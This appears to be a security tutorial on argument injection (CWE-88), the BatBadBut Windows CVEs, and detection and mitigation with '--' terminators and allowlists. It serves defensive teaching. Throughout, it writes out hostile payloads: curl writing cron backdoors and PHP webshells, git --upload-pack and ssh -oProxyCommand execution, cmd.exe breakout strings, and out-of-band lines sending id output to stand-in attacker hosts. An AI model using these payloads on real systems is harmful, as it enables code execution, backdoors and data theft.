Injects additional arguments into an existing command invocation, abusing flag parsing of tools like curl, wget, or git rather than chaining new commands.
TL;DR
shell=False does not protect.bat files implicitly invoke cmd.exe--output), git (--upload-pack), ssh (-oProxyCommand), psql (-o '|cmd')-- end-of-options separator + allowlist validation on every argument passed to external binariesArgument injection (CWE-88: Improper Neutralization of Argument Delimiters in a Command) is a sub-class of command injection that does not require a shell at all. Instead of injecting metacharacters that the shell interprets as command separators, the attacker injects command-line flags or options that the target binary itself parses and acts upon.
This distinction is critical: developers often consider subprocess calls with shell=False and array-form APIs safe, and they are — against CWE-78 (OS command injection). But CWE-88 bypasses this defense entirely. When user-controlled input is placed as an argument to an external binary like curl, git, ssh, or psql, the attacker can inject flags that change the binary's behavior in ways the developer never intended.
Consider subprocess.run(["curl", user_url]). With shell=False, no shell is invoked and no metacharacters are interpreted. But if user_url is "-o /etc/cron.d/backdoor http://attacker.com/payload", curl interprets --output and writes the attacker's content to /etc/cron.d/backdoor. No semicolons, no pipes, no shell — just a flag that curl was designed to honor.
Argument injection is severely underdetected in security testing because most injection tests look for metacharacter-based payloads. A parameter that correctly rejects ;, |, and $() may be fully exploitable via a leading -.
The vulnerability exists at the boundary between application code and external binary execution. When application code passes user input as one of the arguments in an array-form subprocess call, the target binary's argument parser receives that input and interprets it according to the binary's own option-parsing logic.
# APPLICATION CODE — developer believes this is safe
import subprocess
def clone_repository(user_repo):
subprocess.run(["git", "clone", user_repo]) # shell=False — CWE-78 safe# ATTACKER SUPPLIES:
user_repo = "--upload-pack=touch /tmp/pwned http://legitimate-looking-url.com"
# RESULTING CALL:
git clone --upload-pack=touch /tmp/pwned http://legitimate-looking-url.com
# git parses --upload-pack as a legitimate flag and executes:
touch /tmp/pwnedThe shell never runs. git itself receives --upload-pack=touch /tmp/pwned as an argument, recognizes it as the --upload-pack option (which specifies the command to run on the remote host), and executes touch /tmp/pwned. This is the binary's intended behavior — used against the application.
Based on the Sonar argument-injection-vectors project:
| Binary | Injected Flag | Effect | Payload Example |
|---|---|---|---|
curl | --output (-o) | Write response body to arbitrary path | -o /etc/cron.d/backdoor http://attacker.com/payload |
curl | --config (-K) | Read curl options from a file | -K /proc/self/environ (leaks env vars) |
git | --upload-pack | Execute command on clone | --upload-pack=id>/tmp/pwned http://x.com/repo |
git | --exec-path | Override git exec path | --exec-path=/tmp/evil-git-scripts |
ssh | -oProxyCommand | Execute command as SSH proxy | -oProxyCommand=id>/tmp/pwned host |
ssh | -oUserKnownHostsFile | Write to arbitrary host keys file | -oUserKnownHostsFile=/etc/cron.d/backdoor |
psql | -o | Write output to file or command | `-o ' |
zip | --unzip-command | Override unzip command | --unzip-command='sh -c id>/tmp/pwned' |
Chrome | --gpu-launcher | Execute arbitrary command | --gpu-launcher=id>/tmp/pwned |
rsync | -e | Specify remote shell command | -e "ssh user_controlled_cmd" |
# VULNERABLE — user controls the hostname argument
import subprocess
def test_ssh_connectivity(host):
subprocess.run(["ssh", "-o", "ConnectTimeout=5", host, "echo test"])
# shell=False — no shell injection (CWE-78)
# BUT: user_host = "-oProxyCommand=id>/tmp/pwned target" is still exploitable
# Attacker payload:
# host = "-oProxyCommand=curl http://attacker.oast.pro/$(id|base64 -w0) target.com"
# SSH executes: curl http://attacker.oast.pro/[base64 id output] target.com# VULNERABLE — user URL passed as argument to curl
import subprocess
def fetch_resource(url):
subprocess.run(["curl", "-s", "--max-time", "10", url])
# Attacker payload:
# url = "-o /var/www/html/shell.php http://attacker.com/webshell.php"
# curl writes the PHP webshell to the web root — no metacharacters used# VULNERABLE — user supplies repository URL
import subprocess
def clone_repo(user_repo):
subprocess.run(["git", "clone", "--depth", "1", user_repo, "/tmp/cloned"])
# Attacker payload:
# user_repo = "--upload-pack=bash -c 'id>/tmp/pwned' http://legitimate.com/repo"
# git executes: bash -c 'id>/tmp/pwned' as the upload-pack commandBatBadBut is the most significant argument injection disclosure in recent years. Disclosed in April 2024, it revealed that executing .bat or .cmd files on Windows implicitly invokes cmd.exe — regardless of whether the application used shell=False array APIs.
cmd.exe has arcane metacharacter rules that differ fundamentally from POSIX shells: ^, &, |, <, >, (, ), %, and " all have special meaning, and double-quote wrapping does not fully neutralize them. Standard argument escaping designed for POSIX is insufficient.
BatBadBut affected entire language ecosystems on Windows simultaneously:
The common cause: all assumed standard argument escaping was sufficient for Windows batch file execution.
use std::process::Command;
// VULNERABLE — all Rust versions < 1.77.2 on Windows
fn run_batch(user_input: &str) -> std::io::Result<()> {
Command::new("target.bat")
.arg(user_input) // Insufficient escaping for cmd.exe
.spawn()?;
Ok(())
}
// Attacker input: "\"&whoami" → cmd.exe breaks out of quote context// VULNERABLE (PHP < 8.3.5 on Windows) — array form, no shell invoked
$result = proc_open(['script.bat', $user_input], $descriptors, $pipes);
// cmd.exe is invoked implicitly for .bat files
// user_input containing " & whoami escapes the argument context in cmd.exe
// BYPASSED PATCH (PHP < 8.3.7) — CVE-2024-5585
// A trailing space after .bat triggers a different cmd.exe code path
$result = proc_open(['script.bat ', $user_input], ...);
// The space after .bat bypasses the CVE-2024-1874 fix// VULNERABLE — Node.js < 21.7.2 on Windows
const { spawnSync } = require('child_process');
spawnSync('script.bat', [userInput], { shell: false });
// shell: false is supposed to protect against shell injection
// But .bat files invoke cmd.exe implicitly on Windows
// userInput containing cmd.exe metacharacters can still injectAffected language summary:
| Language | CVE | CVSS | Fixed Version |
|---|---|---|---|
| Rust | CVE-2024-24576 | 10.0 | 1.77.2 |
| PHP | CVE-2024-1874 | 9.8 | 8.3.5 |
| PHP (bypass) | CVE-2024-5585 | — | 8.3.7 |
| Node.js | CVE-2024-27980 | High | 18.20.2 / 20.12.2 / 21.7.2 |
| Haskell | HSEC-2024-0003 | — | process >= 1.6.19.0 |
| yt-dlp | CVE-2024-22423 | — | 2024.04.09 |
CVE-2024-39930 — Gogs SSH Server (CVSS 9.9)
Gogs is a popular Go-based self-hosted Git service. CVE-2024-39930 is a pure argument injection vulnerability (CWE-88) in the SSH server component. An attacker with SSH access to a Gogs instance can inject additional arguments into the underlying OS command executed by the SSH daemon, achieving arbitrary code execution. No shell metacharacters are needed — the injected values are parsed as command-line options by the target binary. CVSS 9.9 — the highest possible score short of CVSS 10.0.
HackerOne #212696 — Imgur RCE via CLI Argument Injection (~$3,000)
Classic argument injection in Imgur's image processing pipeline. The application passed user-controlled arguments to an external image processing binary. By injecting additional command-line flags — no shell metacharacters required — the attacker caused the binary to execute attacker-controlled code. This is the canonical HackerOne example of CWE-88 and is cited in the OWASP Command Injection Defense Cheat Sheet as an argument injection case study.
HackerOne #2293731 — SSH ProxyCommand Injection (CVE-2023-6004, Internet Bug Bounty)
An application passed user-controlled hostnames to SSH subprocess calls without validation. An attacker supplied a hostname like -oProxyCommand=id>/tmp/pwned target.com. SSH parsed -oProxyCommand=id>/tmp/pwned as a configuration directive and executed id>/tmp/pwned before establishing the connection. No shell invocation occurred — this is CWE-88 via SSH argument parsing. The Internet Bug Bounty program paid for the disclosure.
CVE-2016-3714 — ImageMagick (ImageTragick, CVSS 8.4)
ImageMagick's delegates.xml file processed user-supplied image filenames via shell system() calls with the %M specifier unescaped. A malicious MVG file containing fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")' triggered OS command execution. While primarily a shell injection, the filename argument passed to the delegate command also demonstrates argument injection principles — the filename itself was weaponized as an argument to the delegate.
# VULNERABLE — passes user filename to ImageMagick without validation
from subprocess import call
def convert_image(filename):
call(["convert", f"/uploads/{filename}", "/thumbnails/output.png"])
# filename = "image.jpg;id>/tmp/pwned" → shell injection via argument
# SAFE — validate filename before conversion
import re
def convert_image_safe(filename):
if not re.fullmatch(r'^[a-zA-Z0-9_\-]{1,64}\.(jpg|png|gif|webp)$', filename):
raise ValueError("Invalid filename")
call(["convert", f"/uploads/{filename}", "/thumbnails/output.png"])
# ALSO: add to ImageMagick policy.xml:
# <policy domain="coder" rights="none" pattern="MVG" />
# <policy domain="coder" rights="none" pattern="HTTPS" />Identify all parameters that might be passed as arguments to external binary calls — especially URL fields, hostname inputs, filename parameters, and any field labeled format, type, output, path, or source.
Submit flag-like values beginning with -:
-o /tmp/test.txt http://127.0.0.1
--output=/tmp/test.txt
-oProxyCommand=id>/tmp/test
--upload-pack=id>/tmp/testCheck for file creation at the target path (file-based confirmation):
# If you have read access:
curl http://target.com/tmp/test.txtUse OOB for blind confirmation:
--upload-pack=curl http://OAST_DOMAIN/$(id|base64 -w0)
-oProxyCommand=curl http://OAST_DOMAIN/$(id|base64 -w0) host
-o /dev/null --dns-servers OAST_DOMAINFor Windows targets, test BatBadBut patterns with cmd.exe metacharacters in arguments passed to .bat file execution:
"\"&whoami
\"&dir C:\Review source code for all subprocess calls — identify where user input appears as an element of the argument array rather than as a constant.
Standard injection scanners (Commix, Burp Scanner) do not test for argument injection by default. Manual review is essential.
Semgrep can flag patterns where user input is placed in argument arrays:
rules:
- id: potential-argument-injection
pattern: subprocess.run([..., $USER_INPUT, ...])
message: "User input in subprocess argument array — check for argument injection (CWE-88)"
languages: [python]
severity: WARNINGBreachVex detects argument injection by probing parameters that reach external binary calls with flag-like values (-o, --upload-pack, -oProxyCommand) and confirming when the injected option changes the command's behavior.
-- End-of-Options TerminatorFor POSIX-compliant programs, insert -- before user-controlled arguments to signal end-of-options:
# SAFER — -- prevents option injection
subprocess.run(["git", "clone", "--", user_repo])
subprocess.run(["curl", "-s", "--max-time", "10", "--", user_url])
# Note: not all programs honor -- correctly
# -- must be combined with allowlist validation for full protectionimport re, subprocess
# SAFE — strict URL allowlist prevents -o and other flag injection
def fetch_url(url):
# Only allow http/https URLs with valid hostnames — no leading dashes
if not re.fullmatch(r'^https?://[a-zA-Z0-9][a-zA-Z0-9\-\.]{0,253}(/[^\s]*)?$', url):
raise ValueError("Invalid URL format")
subprocess.run(["curl", "-s", "--max-time", "10", "--", url])
# SAFE — allowlist of permitted repository sources
ALLOWED_HOSTS = {"github.com", "gitlab.com", "bitbucket.org"}
def clone_repo(url):
from urllib.parse import urlparse
parsed = urlparse(url)
if parsed.scheme not in ("https", "http") or parsed.netloc not in ALLOWED_HOSTS:
raise ValueError("Repository host not permitted")
subprocess.run(["git", "clone", "--depth", "1", "--", url, "/tmp/cloned"])const { exec, execFile, spawn } = require('child_process');
// exec() — invokes shell, vulnerable to CWE-78
exec(`curl ${userUrl}`, callback); // DANGEROUS — metacharacters interpreted
// execFile() — no shell, but CWE-88 still applies
execFile('curl', [userUrl], callback);
// If userUrl = '-o /etc/cron.d/backdoor http://attacker.com/payload'
// execFile passes this to curl without shell interpretation
// curl still honors --output flag → argument injection succeeds
// SAFE — validate URL before passing to execFile
const { URL } = require('url');
function fetchSafe(userUrl, callback) {
let parsed;
try {
parsed = new URL(userUrl);
} catch {
return callback(new Error("Invalid URL"));
}
// Allowlist allowed hosts
const ALLOWED_HOSTS = new Set(['api.internal.com', 'cdn.company.com']);
if (!ALLOWED_HOSTS.has(parsed.hostname)) {
return callback(new Error("Host not permitted"));
}
execFile('curl', ['-s', '--max-time', '10', '--', userUrl], callback);
}import subprocess, re
from urllib.parse import urlparse
# shlex.quote() does NOT prevent argument injection
# It prevents shell metacharacters in a shell=True context
# It has NO effect on CWE-88 because there is no shell to quote against
import shlex
safe = shlex.quote(user_url)
subprocess.run(["curl", safe]) # CWE-78 protected; CWE-88 NOT protected
# safe = "'-o /etc/cron.d/backdoor http://attacker.com/payload'"
# curl receives: -o /etc/cron.d/backdoor http://attacker.com/payload (after shell strips quotes)
# CORRECT approach — allowlist validation + -- terminator
def fetch_resource(user_url):
try:
parsed = urlparse(user_url)
except Exception:
raise ValueError("Invalid URL")
if parsed.scheme not in ('http', 'https'):
raise ValueError("Only http/https allowed")
if not re.fullmatch(r'^[a-zA-Z0-9][a-zA-Z0-9\-\.]{0,253}$', parsed.netloc):
raise ValueError("Invalid hostname")
subprocess.run(
["curl", "-s", "--max-time", "10", "--", user_url],
capture_output=True,
timeout=15
)The most robust defense is eliminating the external binary call entirely:
# Instead of: subprocess.run(["curl", user_url])
import requests
response = requests.get(user_url, timeout=10) # No subprocess, no argument injection
# Instead of: subprocess.run(["git", "clone", user_repo])
# Use GitPython:
import git
git.Repo.clone_from(user_repo, "/tmp/cloned") # No subprocessshlex.quote() (Python) and escapeshellarg() (PHP) protect against shell metacharacter injection (CWE-78) only. They provide zero protection against argument injection (CWE-88). A developer who sees subprocess.run(["curl", shlex.quote(user_url)]) and concludes the code is safe has a false sense of security — the binary still receives and acts on flag-like arguments.
OS command injection (CWE-78) uses shell metacharacters (;, |, &&, $()) to chain new commands. Argument injection (CWE-88) injects command-line flags — no shell metacharacters required. In CWE-78, the shell parses the injected text. In CWE-88, the target binary itself interprets the injected options. Shell=False array APIs prevent CWE-78 but do not prevent CWE-88 when user input can start with a dash.
shell=False means the OS shell is not invoked — arguments are passed directly to the binary via execve(). But the binary itself parses its own command-line arguments using getopt() or similar. If user-controlled input is placed as an argument, the binary parses it and may honor --output=/etc/cron.d/backdoor as a legitimate flag. The shell never sees it, but the binary acts on it.
BatBadBut (April 2024) is an ecosystem-wide disclosure affecting Rust (CVE-2024-24576, CVSS 10.0), PHP (CVE-2024-1874), Node.js (CVE-2024-27980), and Haskell on Windows. The root cause: executing .bat/.cmd files on Windows implicitly invokes cmd.exe, which has complex metacharacter rules (^, &, %, " are special) that differ from POSIX shells. Standard argument escaping is insufficient, and even shell:false array APIs are vulnerable because .bat files trigger cmd.exe regardless.
The -- separator signals to POSIX-compliant programs that all following tokens are positional arguments, not options. subprocess.run(['git', 'clone', '--', user_repo]) prevents --upload-pack injection. However, not all programs honor --: some parse it inconsistently, some re-parse the positional argument as an option themselves, and Windows programs are not required to follow POSIX conventions. -- is a necessary control but must be combined with allowlist validation.
CVE-2024-39930 (CVSS 9.9) is an argument injection in Gogs's SSH server component. An attacker with SSH access can inject additional arguments into the underlying OS command executed by the SSH server, achieving arbitrary code execution without any shell metacharacters. This is pure CWE-88 — the injected value is parsed as command-line options by the target binary, not by a shell.
The Sonar argument-injection-vectors project documents: curl (--output for file writes, --config for arbitrary curl options), git (--upload-pack for RCE, --exec-path), ssh (-oProxyCommand for execution), psql (-o '|cmd' for output to command), zip (--unzip-command), Chrome/Chromium (--gpu-launcher). Any tool that accepts options beginning with - is a candidate when user input is passed as an argument.
The SSH client supports -oProxyCommand=CMD which executes CMD and uses its stdin/stdout as the SSH transport. If an application passes user-supplied hostnames to ssh subprocess.run(['ssh', user_host]) without validation, an attacker supplies user_host = '-oProxyCommand=id>/tmp/pwned target-host'. SSH parses -oProxyCommand=id>/tmp/pwned as a configuration option and executes id>/tmp/pwned before connecting.
curl's --output (-o) flag writes the response body to a file path. If user input is passed as a URL argument to curl, a value like -o /etc/cron.d/backdoor http://attacker.com/payload causes curl to fetch the attacker's payload and write it to /etc/cron.d/backdoor. With root privileges, this installs a cron job. The Sonar research project documents this as one of the highest-impact argument injection vectors.
CVE-2016-3714 (ImageTragick) is a hybrid: the MVG/SVG delegate processing used shell() calls with the %M filename specifier unescaped, allowing shell command injection in the filename. It is primarily CWE-78 in mechanism but also demonstrates argument injection concepts because the user controls the filename argument passed to the delegate command. The policy.xml fix that denies MVG/SVG coders is the standard mitigation.
The SonarSource argument-injection-vectors project (github.com/SonarSource/argument-injection-vectors) is a curated catalog of injection vectors for common CLI tools. It documents the specific flags that can be injected, the preconditions, and the impact for curl, git, ssh, psql, zip, Chrome, and others. It is the authoritative reference for security researchers auditing code that invokes external binaries.
Submit values beginning with - or -- in any parameter that might reach an external binary call. Examples: --output=/tmp/test (curl/wget), --upload-pack=id>/tmp/test (git), -oProxyCommand=id>/tmp/test (ssh). Check for file creation at the target path. For blind injection, use OOB: --config /dev/stdin (curl reads config from stdin and can be abused), or inject --dns-servers=OAST_DOMAIN for OOB confirmation in tools that support DNS.
No. execFile does not invoke a shell (preventing CWE-78), but it does not prevent CWE-88. If user input is passed directly as an element of the args array — execFile('curl', [userUrl]) — and userUrl = '-o /etc/cron.d/backdoor http://attacker.com/payload', curl receives the flag and acts on it. execFile is safe from shell injection but requires additional allowlist validation to prevent argument injection.